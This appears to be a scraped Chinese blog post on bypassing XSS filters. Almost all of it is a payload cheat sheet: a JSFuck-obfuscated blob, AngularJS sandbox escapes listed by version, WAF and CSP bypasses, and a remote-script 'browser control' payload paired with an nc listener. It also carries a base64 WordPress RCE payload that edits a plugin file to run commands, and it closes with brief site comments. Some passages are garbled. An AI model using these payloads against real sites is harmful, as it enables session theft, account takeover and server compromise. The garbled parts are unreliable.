(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[] 



"><"<img src="x">%20%20>"<iframe src=evil.source>%20<iframe>


"><iframe src=a onload=alert("PENTEST") <

" src="><svg/onload=prompt(2)> ""input onfocus=alert(2)" autofocus>

" onfocus="alert(1)" autofocus

t" onmouseover=alert(/xss/); a="

%22onmouseover%3d%22alert(document.domain)%22style%3d%22position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%22uo545

"><img src=x onerror=alert(/PTEST/)</script>
 "><img src=x onerror=prompt(23);>

<h>xxs link<a><img src="c" onerror=alert(1)>

<img src=x onerror=alert('h')><xmp>

<a onmouseover=alert(document.cookie)>xxs link</a>
<a onmouseover=alert(document.cookie)>%20<h>xxs link<a><iframe src="c" onload=alert(1)>

<div onactivate=alert('XSSTEST') id=xss style=overflow:scroll>

Ij48IjxpbWcgc3JjPSJ4Ij4lMjAlMjA+IjxpZnJhbWUgc3JjPWE+JTIwPGlmcmFtZT4=




String Char Eval
 {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

  'a'.constructor.prototype['char\u0041t']

 'a'.constructor.prototype['char\u0041t']=''.concat;

{{'a'.constructor.prototype['char\u0041t']=''.concat;
$eval("x='\"+(y='if(!window\\u002?x)alert(window\\u002ex=1)')+eval(y)+\"'");}} 


{{
    ({}.toString()).constructor.prototype.charAt=[].join;
 $eval(({}.toString()).constructor.fromCharCode(120,61,49,125,32,125,32,125,59,97,108,101,114,116,40,49,41,47,47))
}}



{{
 x=toString();x.constructor.prototype.charAt=x.constructor.prototype.concat;
 $eval(x.constructor.fromCharCode(120,61,49,125,32,125,32,125,59,97,108,101,114,116,40,49,41,47,47))
}}



t=o.anchor(true);//<a name="true">[object Undefined]</a>



{{
c=[];
o=toString();
t=o.anchor(true);
f=o.anchor(false);
c.push(o[5]);
c.push(o[1]);
c.push(t[3]);
c.push(f[12]);
c.push(t[9]);
c.push(t[10]);
c.push(t[11]);
c.push(o[5]);
c.push(t[9]);
c.push(o[1]);
c.push(t[10]);
a=c.join([]);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[c.join([])].fromCharCode(97,108,101,114,116,40,49,41))()
}}




HTML Context
Tag Injection     <svg onload=alert(1)>
“><svg onload=alert(1)//


HTML Context
Inline Injection     “onmouseover=alert(1)//
“autofocus/onfocus=alert(1)//


Javascript Context
Code Injection     ‘-alert(1)-‘
‘-alert(1)//


Javascript Context
Code Injection
(escaping the escape)     \’-alert(1)//


Javascript Context
Tag Injection 
</script><svg onload=alert(1)>


PHP_SELF Injection     
http://DOMAIN/PAGE.php/”><svg onload=alert(1)>


Without Parenthesis     
<svg onload=alert`1`>
<svg onload=alert&lpar;1&rpar;>
<svg onload=alert&#x28;1&#x29>
<svg onload=alert&#40;1&#41>


Filter Bypass
Alert Obfuscation     
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)


Body Tag     
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<body onhashchange=alert(1)><a href=#x>click this!#x
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body onscroll=alert(1)><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><x id=x>#x
<body onresize=alert(1)>press F12!
<body onhelp=alert(1)>press F1! (MSIE)


Miscellaneous Vectors     
<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<input autofocus onblur=alert(1)>
<keygen autofocus onfocus=alert(1)>
<form onsubmit=alert(1)><input type=submit>
<select onchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(1)>right click me!


Agnostic Event Handlers     
<x contenteditable onblur=alert(1)>lose focus!
<x onclick=alert(1)>click this!
<x oncopy=alert(1)>copy this!
<x oncontextmenu=alert(1)>right click this!
<x oncut=alert(1)>copy this!
<x ondblclick=alert(1)>double click this!
<x ondrag=alert(1)>drag this!
<x contenteditable onfocus=alert(1)>focus this!
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkeydown=alert(1)>press any key!
<x contenteditable onkeypress=alert(1)>press any key!
<x contenteditable onkeyup=alert(1)>press any key!
<x onmousedown=alert(1)>click this!
<x onmousemove=alert(1)>hover this!
<x onmouseout=alert(1)>hover this!
<x onmouseover=alert(1)>hover this!
<x onmouseup=alert(1)>click this!
<x contenteditable onpaste=alert(1)>paste here!


Code Reuse
Inline Script     <script>alert(1)//
<script>alert(1)<!–


Code Reuse
Regular Script     <script src=//localhost:8080/1.js>
<script src=//3334957647/1>


Filter Bypass
Generic Tag + Handler     
Encoding     Mixed Case     Spacers
%3Cx onxxx=1
<%78 onxxx=1
<x %6Fnxxx=1
<x o%6Exxx=1
<x on%78xx=1
<x onxxx%3D1     <X onxxx=1
<x OnXxx=1
<X OnXxx=1Doubling
<x onxxx=1 onxxx=1     <x/onxxx=1
<x%09onxxx=1
<x%0Aonxxx=1
<x%0Conxxx=1
<x%0Donxxx=1
<x%2Fonxxx=1
Quotes     Stripping     Mimetism
<x 1=’1’onxxx=1
<x 1=”1?onxxx=1     <[S]x onx[S]xx=1


[S] = stripped char or string
<x </onxxx=1
<x 1=”>” onxxx=1
<http://onxxx%3D1/

Generic Source Breaking     
<x onxxx=alert(1) 1=’


Browser Control     
<svg onload=setInterval(function(){with(document)body.
appendChild(createElement(‘script’)).src=’//HOST:PORT’},0)>$ while :; do printf “j$ “; read c; echo $c | nc -lp PORT >/dev/null; done


Multi Reflection     Double Reflection
Single Input     Single Input (script-based)
‘onload=alert(1)><svg/1=’     ‘>alert(1)</script><script/1=’
*/alert(1)</script><script>/*

Triple Reflection
Single Input     Single Input (script-based)
*/alert(1)”>’onload=”/*<svg/1=’
`-alert(1)”>’onload=”`<svg/1=’     */</script>’>alert(1)/*<script/1=’


Multi Input Double Input     Triple Input
p=<svg/1=’&q=’onload=alert(1)>     
p=<svg 1=’&q=’onload=’/*&r=*/alert(1)’>


Without Event Handlers     
<script>alert(1)</script>
<script src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
<a href=javascript:alert(1)>click
<math><brute href=javascript:alert(1)>click
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click>
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=SOURCE>
<isindex formaction=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>
<svg><script xlink:href=data:,alert(1) />
<math><brute xlink:href=javascript:alert(1)>click
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>


Mobile Only     
Event Handlers
<html ontouchstart=alert(1)>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<html ontouchcancel=alert(1)>
<body onorientationchange=alert(1)>


Javascript Properties     Functions
<svg onload=alert(navigator.connection.type)>
<svg onload=alert(navigator.battery.level)>
<svg onload=alert(navigator.battery.dischargingTime)>
<svg onload=alert(navigator.battery.charging)>     <svg onload=navigator.vibrate(500)>
<svg onload=navigator.vibrate([500,300,100])>


Generic Self to Regular XSS     
<iframe src=LOGOUT_URL onload=forms[0].submit()>
</iframe><form method=post action=LOGIN_URL>
<input name=USERNAME_PARAMETER_NAME value=USERNAME>
<input name=PASSWORD_PARAMETER_NAME value=PASSWORD>


File Upload     Injection in Filename
“><img src=1 onerror=alert(1)>.gifInjection in Metadata
$ exiftool -Artist='”><img src=1 onerror=alert(1)>’ FILENAME.jpegInjection with SVG File
<svg xmlns=”http://www.w3.org/2000/svg” onload=”alert(document.domain)”/>


Injection with GIF File as Source of Script (CSP Bypass)
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;

Google Chrome
Auditor Bypass
<script src=”data:&comma;alert(1)//
“><script src=data:&comma;alert(1)//<script src=”//localhost:8080&sol;1.js&num;
“><script src=//localhost:8080&sol;1.js&num;<link rel=import href=”data:text/html&comma;&lt;script&gt;alert(1)&lt;&sol;script&gt;
“><link rel=import href=data:text/html&comma;&lt;script&gt;alert(1)&lt;&sol;script&gt;
<svg><animate xlink:href=#x attributeName=href values=&#106;avascript:alert(1) /><a id=x><rect width=100 height=100 /></a>

Chrome < v60 beta XSS-Auditor Bypass

<script src="data:,alert(1)%250A-->

Other Chrome XSS-Auditor Bypasses

<script>alert(1)</script

<script>alert(1)%0d%0a-->%09</script

<x>%00%00%00%00%00%00%00<script>alert(1)</script>

Safari XSS Vector

<script>location.href;'javascript:alert%281%29'</script>

XSS Polyglot

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

PHP File for XHR Remote Call     
<?php header(“Access-Control-Allow-Origin: *”); ?>
<img src=1 onerror=alert(1)>
Server Log Avoidance     <svg onload=eval(URL.slice(-8))>#alert(1)
<svg onload=eval(location.hash.slice(1)>#alert(1)
<svg onload=innerHTML=location.hash>#<script>alert(1)</script>

<svg/onload=javascript:void(0)?void(0):void(0)?void(0):void(0)?void(0):void(0)?void(0):confirm(location)> 


Shortest PoC     
<base href=//0>


$ while:; do echo “alert(1)” | nc -lp80; done
Portable WordPress RCE     <script/src=”data:&comma;eval(atob(location.hash.slice(1)))//&num;
#eD1uZXcgWE1MSHR0cFJlcXVlc3QoKQ0KcD0nL3dwLWFkbWluL3Bsd
Wdpbi1lZGl0b3IucGhwPycNCmY9J2ZpbGU9YWtpc21ldC9pbmRleC5w
aHAnDQp4Lm9wZW4oJ0dFVCcscCtmLDApDQp4LnNlbmQoKQ0KJD0n
X3dwbm9uY2U9JysvY2UiIHZhbHVlPSIoW14iXSo/KSIvLmV4ZWMoeC
5yZXNwb25zZVRleHQpWzFdKycmbmV3Y29udGVudD08Pz1gJF9HRV
RbYnJ1dGVdYDsmYWN0aW9uPXVwZGF0ZSYnK2YNCngub3BlbignUE
9TVCcscCtmLDEpDQp4LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHl
wZScsJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpD
Qp4LnNlbmQoJCk=http://DOMAIN/WP-ROOT/wp-content/plugins/akismet/index.php?brute=CMD


Invisble JS Alert
([,?,,,,??]=[]+{},[???,??,????,???,,?????,????,??????,,,?????]=[!!?]+!?+?.?)
[??+=?+?????+??????+???+??+????+??+???+?+??][??]
(?????+????+???+??+???+'`#JS!`')``


Markdown XSS

[a](javascript:confirm(1))

[a](javascript://www.test.com%0Aprompt(1))

[a](javascript://%0d%0aconfirm(1))

[a](javascript://%0d%0aconfirm(1);com)

[a](javascript:window.onerror=confirm;throw%201)

[a]: (javascript:prompt(1))

[a]:(?javascript:alert(1))           


Angular JS
'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e'; 

{{
'a'.constructor.prototype.charAt=[].join;
eval('x=1} } };alert(1)//');
}}

AngularJS Template Injection based XSS

1.0.1 - 1.1.5

{{constructor.constructor('alert(1)')()}}

1.2.0 - 1.2.1

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

1.2.2 - 1.2.5

{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

1.2.6 - 1.2.18

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

1.2.19 - 1.2.23

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

1.2.24 - 1.2.29

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

1.3.0

{{!ready && (ready = true) && (
      !call
      ? $$watchers[0].get(toString.constructor.prototype)
      : (a = apply) &&
        (apply = constructor) &&
        (valueOf = call) &&
        (''+''.toString(
          'F = Function.prototype;' +
          'F.apply = F.a;' +
          'delete F.a;' +
          'delete F.valueOf;' +
          'alert(1);'
        ))
    );}}

1.3.1 - 1.3.2

{{
    {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
    'a'.constructor.prototype.charAt=''.valueOf; 
    $eval('x=alert(1)//'); 
}}

1.3.3 - 1.3.18

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 

  'a'.constructor.prototype.charAt=[].join;
  $eval('x=alert(1)//');  }}

1.3.19

{{
    'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; 
    $eval('x=alert(1)//'); 
}}

1.3.20

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.4.0 - 1.4.9

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

1.5.0 - 1.5.8

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

1.5.9 - 1.5.11

{{
    c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
    c.$apply=$apply;c.$eval=b;op=$root.$$phase;
    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    B=C(b,c,b);$evalAsync("
    astNode=pop();astNode.type='UnaryExpression';
    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
    astNode.argument={type:'Identifier',name:'foo'};
    ");
    m1=B($$asyncQueue.pop().expression,null,$root);
    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    $eval('a(b.c)');[].push.apply=a;
}}

1.6.0+ (no Expression Sandbox)

{{constructor.constructor('alert(1)')()}}

Content Security Policy (CSP) bypass via JSONP endpoints

Grab the target's CSP:

curl -I http://example.com | grep 'Content-Security-Policy'


Lightweight Markup Languages

RubyDoc (.rdoc)

XSS[JavaScript:alert(1)]

Textile (.textile)

"Test link":javascript:alert(1)

reStructuredText (.rst)

`Test link`__.

__ javascript:alert(document.domain)  

Unicode characters

†‡•<img src=a onerror=javascript:alert('test')>…‰€



Sanbox Bypasses
{{constructor.constructor('alert(1)')()}}

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

{{!ready && (ready = true) && (
      !call
      ? $$watchers[0].get(toString.constructor.prototype)
      : (a = apply) &&
        (apply = constructor) &&
        (valueOf = call) &&
        (''+''.toString(
          'F = Function.prototype;' +
          'F.apply = F.a;' +
          'delete F.a;' +
          'delete F.valueOf;' +
          'alert(1);'
        ))
    );}}

{{
    {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
    'a'.constructor.prototype.charAt=''.valueOf; 
    $eval('x=alert(1)//'); 
}}

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 
  'a'.constructor.prototype.charAt=[].join;
  $eval('x=alert(1)//');  }}

{{
    'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; 
    $eval('x=alert(1)//'); 
}}

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

{{
    c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
    c.$apply=$apply;c.$eval=b;op=$root.$$phase;
    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    B=C(b,c,b);$evalAsync("
    astNode=pop();astNode.type='UnaryExpression';
    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
    astNode.argument={type:'Identifier',name:'foo'};
    ");
    m1=B($$asyncQueue.pop().expression,null,$root);
    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    $eval('a(b.c)');[].push.apply=a;
}}

{{constructor.constructor('alert(1)')()}} 


Kona WAF (Akamai) Bypass

\');confirm(1);//

ModSecurity WAF Bypass Note: This kind of depends on what security level the application is set to. See: https://modsecurity.org/rules.html

<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>

Wordfence XSS Bypasses

<meter onmouseover="alert(1)"

'">><div><meter onmouseover="alert(1)"</div>"

>><marquee loop=1 width=0 onfinish=alert(1)>

Incapsula WAF Bypasses

<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>

<img/src=q onerror='new Function`al\ert\`1\``'>

jQuery < 3.0.0 XSS

$.get('http://sakurity.com/jqueryxss')

In order to really exploit this jQuery XSS you will need to fulfil one of the following requirements:

    Find any cross domain requests to untrusted domains which may inadvertently execute script.
    Find any requests to trusted API endpoints where script can be injected into data sources.

URL verification bypasses (works without &#x09; too)

javas&#x09;cript://www.google.com/%0Aalert(1)

Signal Messenger Payloads
http://testdomain/?p=%3Ciframe%20src="/etc/passwd"%3E%3C/iframe%3E%20PENTEST

http://testdomain/?p=%3d%3Ciframe%20src=\\DESKTOP-[LOCALPATH]\Temp\rce.html%3E

http://testdomain/?p=%3d%3Ciframe%20src=\\xxx.xxx.xxx.xxx\Temp\rce.html%3E

http://testdomain/?p=%3Ciframe%20src="testfile.html"%3E%3C/iframe%3E%20PENTEST

http://testdomain/?p=%3Ciframe%20srcdoc="<p>PENTEST</p>"%3E%3C/iframe%3E

http://testdomain/?p=%3Caudio%20autoplay%20src="/usr/share/sounds/gnome/default/alerts/bark.ogg"%20type="audio/ogg"%3E%3C/audio%3E

http://testdomain/?p=%3Cvideo%20autoplay%20loop%20src="/usr/share/help/C/gnome-help/figures/display-dual-monitors.webm"%20type="video/webm"%3E%3C/video%3E

http://testdomain/?p=%3Cform%20method='POST'%20action='https://domain.de/url'%3E%3Cinput%20type='text'%20name='data'%20value='from_form'/%3E%3Cinput%20type='submit'/%3E%3C/form%3E




Waf Engine Bypass
<svg onload\r\n=$.globalEval("al"+"ert()");>
<img onload\r\n=$.globalEval("al"+"ert()");>
<iframe src="\\" onload\r\n=$.globalEval("al"+"ert()");>
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版权声明：《浅谈XSS绕过》为DYBOY原创文章，转载请注明出处！
最后编辑:2019-8-31 22:08:36
发表评论 / Comment
金玉良言 / Appraise
DYBOY站长已认证
2019-09-02 12:07
3.针对一些waf拦截，常见可以使用十六进制编码
DYBOY站长已认证
2019-09-02 11:59
XSS过滤总结：
1. 通过FUZZ，跑出未过滤或拦截的payload、属性
2. 常用注入js位置：url(),src=,dysrc=,href=,content=，在各种标签里都可以尝试，以及标签中的一些js事件，例如onload，onclick，onmouseover等等
DYBOY站长已认证
2019-09-02 11:55
后台存在未过滤的情况，现在文章没法儿编辑了
0x00 WAF识别拦截XSS的原理

0x01 正则匹配绕过

0x02 指纹识别绕过

0xFF 参考

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